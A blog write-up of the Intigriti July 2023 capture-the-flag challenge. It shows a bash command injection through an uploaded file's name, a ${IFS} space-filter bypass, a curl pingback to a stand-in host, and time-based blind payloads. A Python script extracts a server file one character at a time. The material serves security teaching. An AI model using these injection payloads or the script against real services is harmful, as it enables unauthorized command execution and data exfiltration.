Write-Up - Intigriti July 2023 Challenge 0723 - Bash command injection and time based attack

2023-07-21

Hi all ! In this article you will find my write-up for the Intigriti July 2023 Challenge created by @_kavigihan.

Statement

The challenge’s objective was to retrieve the flag from the web server serving the target website. Our target was a very simple Video Audio Extractor website. It was supposed to allow us to upload a .mp4 video and get the extracted audio as a result.

The only indication we had was the flag format, INTIGRITI{.*}. As I was going through the challenge, a hint was posted that basically pointed us to a blind attack.

Overview

First glance

The file upload mechanism was a simple POST request to the /upload endpoint. The constraints were :

  • The file name had to end with .mp4
  • No spaces in the file name allowed
  • The Content-Type had to be video/mp4

These requirements need to be fulfilled in order to get the server to actually process the file. So a legit request would look like

Burp capture legit

As a result, we get a .mp3 file containing the audio from the video.


So the first thing we test is upload a random file. So using Burp to change the Content-Type to video/mp4, we upload an mp3 file and the server basically returns me the same file but no errors.

Then we try to upload a text file and we get a 500 Internal Server Error with content :

{
    "error":"That wasn't supposed to happen",
    "message":"Hey, stop trying to break things!!"
}

We can deduce that the server does not check the actual content of the file and processes it if the previous requirements are verified.

When we think of a simple app like this one, my first thought was that the backend used a bash process (in python with os.system for example) to use something like ffmpeg.

Attack vector discovery

So in typical File Upload Injections we have multiple attack vectors. Usually, these would be :

  • Injection of a file on the server we can later access to execute code on the server (i.e. a php file)
  • Injection of a file being processed in a particular way -> payload in file content in order to exploit vulnerability in the tool used (here we can assume ffmpeg)
  • Injection in the file name if it is used as is somehow in the back

To begin with, I performed a small directory discovery scan with ffuf to find if there were any ways I could access the uploaded file and get it to do something, but nothing.

So I tried to exploit the filename field in the HTTP POST request data. And quickly we notice that we get the 500 error when we supply names like :

  • (.mp4
  • ;.mp4
  • ".mp4
  • &&.mp4

So you see where this is going. These errors scream BASH so yeah, let’s exploit that.

Bash command injections are usually the most straight forward. Here, the only limitations we have are that we cannot have spaces and that the file name must end with .mp4.

We can assume that the base command looked like that (it doesn’t matter but to give some context) :

ffmpeg (junk) -i $FILE_NAME $OUTPUT_FILE_NAME

So the ideas here were to either:

  • Retrieve data through the server response (the output file)
  • Get a reverse shell
  • Retrieve data by making the server make HTTP requests to my own server

The latter two were definitely the ones I felt would be the simplest. So first objective was to get a pingback.

Bypass the forbidden spaces limitation

In Hacktricks (see references) we see that $IFS is an environment variable that expands to a space. So we have

$ echo "cat${IFS}flag.txt"
cat flag.txt

So we can easily use that to bypass the forbidden spaces restriction.

Getting a command executed (and knowing it)

Pingback (or not)

So the first attempt was to try and inject something like :

a.mp4; curl 'http://my.server.com', echo a.mp4
# ffmpeg (junk) a.mp4; curl 'https://my.server.com'; echo a.mp4 $OUTPUT_FILENAME

which looks like this with the ${IFS} technique (I will assume all spaces are replaced with that from now on) :

a.mp4;${IFS}curl${IFS}'http://my.server.com';echo${IFS}a.mp4

Of course, at this point we don’t really care about getting a 500 error, we usually get those and sometimes not but did not try to make sense out of that 😇.

But after many tries of different payloads using different commands, (even python inline yes) I figured the server was not allowed to make any requests to the outside or that these commands somehow did not function.

Blind attack = life

So at this point we do not have any proofs that any commands are actually being executed. So instead of a pingback, I opted for a timeout test with :

; sleep 10; echo a.mp4

And bingo, the server took 10 seconds (and a bit more) to respond ! With the hint we were given I chose to try and leverage that.

Conditioning the execution of the sleep

So the first objective was to make the server execute the sleep only if a condition is verified in order to perform a blind attack. For that, we will use the && operator :

$ true&&echo a # a is echoed
a
$ false&&echo b # nothing
$

So we can inject something like :

;(test)&&sleep 5;.mp4

The sleep will only be executed if (test) returns true (exit code of last command in (test)).

Finally, we can use grep -q PATTERN which returns true if the pattern is found in the input. So we have everything we need to exploit the target

Exploit

Finding the file

So first of all, we need to find the file containing the flag. I did that by “hand” since it was not too complicated. We have

;(ls; grep -q flag)&&sleep 5;.mp4

that did not function, so I tried

;(cd ..; ls; grep -q flag)&&sleep 5;.mp4

The / character was not handled properly, hence the cd .. command used.

And this time it’s a hit. Basically we list the files in $(pwd)/.. and we look for a file with flag in the name. If we found one, the sleep gets executed and we have a delay in the server response.

We try the obvious flag.txt and it worked, verified with

;(cd ..; cat flag.txt)&&sleep 5;.mp4

Getting the flag character by character

So now in order to get the flag character by character, we are going to “iterate” over the flag and try to test each letter until we have a match. And then we move on to the next letter etc…

The injection :

;(cd ..; cat flag.txt; cut -c 1; grep -q -P '\x49')&& sleep 5;.mp4

executes the sleep because the first character of the flag is I. The cut -c 1 gets the first character of the flag, and we try to grep to see if its value is \x49 which is I, so it’s a hit here.

So now we just need to automate this with the following python script :

#!/usr/bin/python3

# Challenge 0723 by Kavigihan - Intigriti - EyeXion
from string import printable
import requests

url = 'https://challenge-0723.intigriti.io/upload'

# The injection payload, with formats for the index and the character tested
payload = '||cd${{IFS}}..;(cat${{IFS}}flag.txt|cut${{IFS}}-c${{IFS}}{index}|grep${{IFS}}-q${{IFS}}-P${{IFS}}\"{c}\")&&sleep${{IFS}}5;.mp4'

# We know part of the flag, might as well speed up the process
flag = 'INTIGRITI{'
index = len(flag) + 1

# End when } encoutered
while flag[-1] != '}':
    i = str(index)
    for c in printable:
        # Format character in hex form \xYZ
        c2 = '\\x' + hex(ord(c))[2:]

        # Create the payload with the injection in the file name
        filename = payload.format(c=c2, index=i)
        file = {'video': (filename, 'I am totally a video', 'video/mp4')}

        # Try to send the request with a timeout of 2.
        try:
            r = requests.post(url, files=file, timeout=2)
        except requests.ReadTimeout:
            # If connection timed out, we got the sleep to be executed -> character found
            print('Found char : ' + c)
            flag += c
            index += 1
            break

print("The flag is : " + flag)

And after some time we get the flag : INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll} ! (which hey definitely means I missed something, so looking forward to read other solutions).

So pretty fun challenge, see you for the next one !

Thanks for reading my first write-up ever, have a nice day ☀️.


References